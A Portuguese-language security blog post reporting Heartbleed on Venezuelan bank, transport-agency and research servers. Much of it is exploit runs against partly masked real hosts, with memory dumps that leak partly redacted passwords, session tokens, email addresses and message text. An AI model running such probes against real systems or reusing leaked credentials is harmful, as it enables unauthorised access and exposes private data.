Venezuela: um desastre (também) cibernético

Na semana passada (veja o artigo aqui) o Lab encontrou evidências de que a infraestrutura do Banco Venezolano de Crédito possuía a vulnerabilidade Heartbleed (CVE-2014-0160) e estava sendo utilizada por elementos maliciosos para mineração de criptomoeda Monero.

A existência de uma vulnerabilidade antiga como o HeartBleed é inacreditável, sobretudo numa instituição financeira, o que demonstra um nível de segurança lamentável. 

Esse achado, somado às recentes operações hacktivistas desferidas recentemente contra a Venezuela, levou o Lab a elaborar um diagnostico mais completo sobre o nível de maturidade em relação à segurança cibernética da Venezuela. Considerando que o HeartBleed é uma vulnerabilidade antiga e muito grave, o estudo utilizou essa vulnerabilidade como plataforma de análise.

A insegurança cibernética parece ser endêmico na terra de los hermanos del norte. Sem muito esforço, foi possível encontrar algumas centenas de servidores com essa vulnerabilidade, incluindo os setores financeiro, de P&D e de Transportes. 

Um dos casos foi no Bandes (Banco de Desarrollo de Económico y Social de Venezuela). O Bandes é um Banco Público de fomento do desenvolvimento. Seria o equivalente ao BNDES no Brasil.

A resposta do teste da prova de conceito da vulnerabilidade confirma a presença do Heartbleed.

$ ./heartbleed xxxxxxx.bandes.gob.ve

...................................#.......
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://www.google.com/
Connection: keep-alive
Cookie: ZM_TEST=true
Upgrade-Insecure-Requests: 1

.
.... ......]..live
Cookie: ZM_TEST=true
Upgrade-Insecure-Requests: 1

loginOp=login&username=XXXincXX&password=XrMaXXXo20XX*&client=preferred..`/.^..D).....Y6535632d393533372d3364646161313936303664343b6578703d31333a313535313533363634313537313b76763d313a373b747970653d363a7a696d6272613b; JSESSIONID=1b6ub3g6r81gg1hxs806oz0jgv

{"Header":{"context":{"_jsns":"urn:zimbra","userAgent":{"name":"ZimbraWebClient - GC72 (Win)","version":"8.0.4_GA_5737"},"session":{"_content":1630293,"id":1630293},"notify":{"seq":38},"account":{"_content":"bandes@bandes.com.ni","by":"name"}}},"Body":{"MsgActionRequest":{"_jsns":"urn:zimbraMail","action":

[...]

O servidor com a vulnerabilidade heartbleed retorna pedaços de até 64k de memória do servidor. Geralmente, a área de memória retornada é do início de uma requisição do protocolo HTTP. Por isso, geralmente são contemplados os headers e o início do conteúdo enviado ou recebido. Na resposta acima, o payload de retorno contempla uma área de memória com as credenciais de autenticação (login e senha) de um usuário da aplicação. 

Nesse caso, o mero retorno da memória do servidor já foi suficiente para comprometer a segurança da aplicação, visto que a credencial de autenticação foi exposta.

Ao rodar novamente a prova de conceito, outra resposta é retornada:

$ ./heartbleed xxxxxxx.bandes.gob.ve

Safari/537.36
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Referer: https://XXXXXXXX.bandes.gob.ve/
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9,en;q=0.8
Cookie: ZM_TEST=true; ZM_AUTH_TOKEN=0_XXXXXXXXXX45ec6f318c6ba826bb94b6a3c60c18_XXXXXXXXXXXXXX3066652d646433342d346535632d393533372d3364646161313936303664343b6578703d31333a313535313533363634313537313b76763d313a373b747970653d363a7a696d6272613b; JSESSIONID=XXXXXXXXXXXg1hxs806oz0jgv

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - GC72 (Win)" version="8.0.4_GA_5737"/><session id="1630293"/><notify seq="38"/><account by="name">bandes@bandes.com.ni</account><format type="js"/></context></soap:Header><soap:Body><NoOpRequest xmlns="urn:zimbraMail"/></soap:Body></soap:Envelope>z......[........t\.._.0\..Q......fJ...T..@...h.K`B...N7..(.....S=6S.h.....S.1&.X^s.E<.d....#*n..3..f
...2..Y...s="">sendOnBehalfOfDistList</right></DiscoverRightsRequest></BatchRequest></soap:Body></soap:Envelope>...b....:.L12.....WP.l: +58 212 5058725 

------WebKitFormBoundaryQm8hLkoEJPBTBAFz
Content-Disposition: form-data; name="bodyText"


------WebKitFormBoundaryQm8hLkoEJPBTBAFz
Content-Disposition: form-data; name="sendUID"

[...]

É possível observar que o cookie de sessão foi exposto. Nesse caso, ainda que a credencial de autenticação não tenha sido exibida, o sequestro da sessão (session hijacking) é possível devido à exposição do cookie de autenticação. Em termos práticos, o nível de comprometimento da aplicação é o mesmo nos dois casos, pois permite o acesso completo ao sistema, como um usuário legítimo da aplicação.

A mesma vulnerabilidade é encontrada em sistemas do Instituto Nacional de Transporte Terrestre (www.intt.gob.ve).

Instituto Nacional de Transporte Terrestre – intt.gob.ve

$ ./heartbleed xxxxxxx.intt.gob.ve

..........
...................................#.......ari/537.36 Edge/15.15063
Accept: text/css,*/*;q=0.1
Referer: https://xxxxxxx.intt.gob.ve/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,en-US;q=0.9
Cookie: ZM_TEST=true

Y..d"*3..jtI7.....M.....:..GJ.......^...$......M.D.Y..d"*3..jtI7...........................................33_XXXXXXXXXXXXXX52d633235342d346461622d623939342d3636613537353638386561343b6578703d31333a313535323437353335363134333b76763d313a313b747970653d363a7a696d6272613b; JSESSIONID=XXXXXXXXXXXXXXfov17g33k1xmsz3i

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF65 (Win)" version="8.0.0_GA_5434"/><session xmlns="" id="143191"/><notify xmlns="" seq="124"/><account xmlns="" by="name">xxxxx@intt.gob.ve</account><format xmlns="" type="js"/></context></soap:Header><soap:Body><NoOpRequest xmlns="urn:zimbraMail"/></soap:Body></soap:Envelope>i.H^....SVI...j...o.%..{.....Gp.......H.m!an..........~V/O.M..H-...^.n..
.dExp":1}}}..|;)U.}.u.....|e.X............ight></DiscoverRightsRequest></BatchRequest></soap:Body></soap:Envelope>...`...+.
#...Z.ontent-Disposition: form-data; name="subject"

Re: Paso a paso para xxxxxx los xxxxxxx 5 y 15
-----------------------------261531429532168
Content-Disposition: form-data; name="priority"


-----------------------------261531429532168
Content-Disposition: form-data; name="body"


----- Mensaje original -----
De: xxxxxx xxxxxxxxx <xxxxxx@intt.gob.ve>
Para: xxxxxx xxxxxx xxxxxx de xxxxxxxx <xxxxxxxxxxx@intt.gob.ve>
Enviado: Tue, 12 Feb 2019 11:38:32 -0400 (BOT)
Asunto: Re: Paso a paso para xxxxx los xxxxxxx 5 y 15

Buenos dias,

Dame un numero de telefono para comunicarme con usted.

Gracias.

Outro caso alarmante é a presença do heartbleed em salas de videoconferência de instituição de Pesquisa e Desenvolvimento da Venezuela.

Instituição de P&D com vulnerabilidade Heartbleed

Conclusão

A análise quantitativa das vulnerabilidades encontradas já é surpreendente. O problema se torna mais crítico ao analisar qualitativamente as entidades venezuelanas afetadas.

A existência de uma vulnerabilidade antiga como o HeartBleed no mercado financeiro e em instituições críticas da Venezuela, como transportes e P&D, demonstra um nível de segurança lamentável.

Além disso, revela a ausência de políticas e estratégias nacionais para Segurança Cibernética, bem como a inexistência de entidade civil ou militar com responsabilidade nacional no assunto.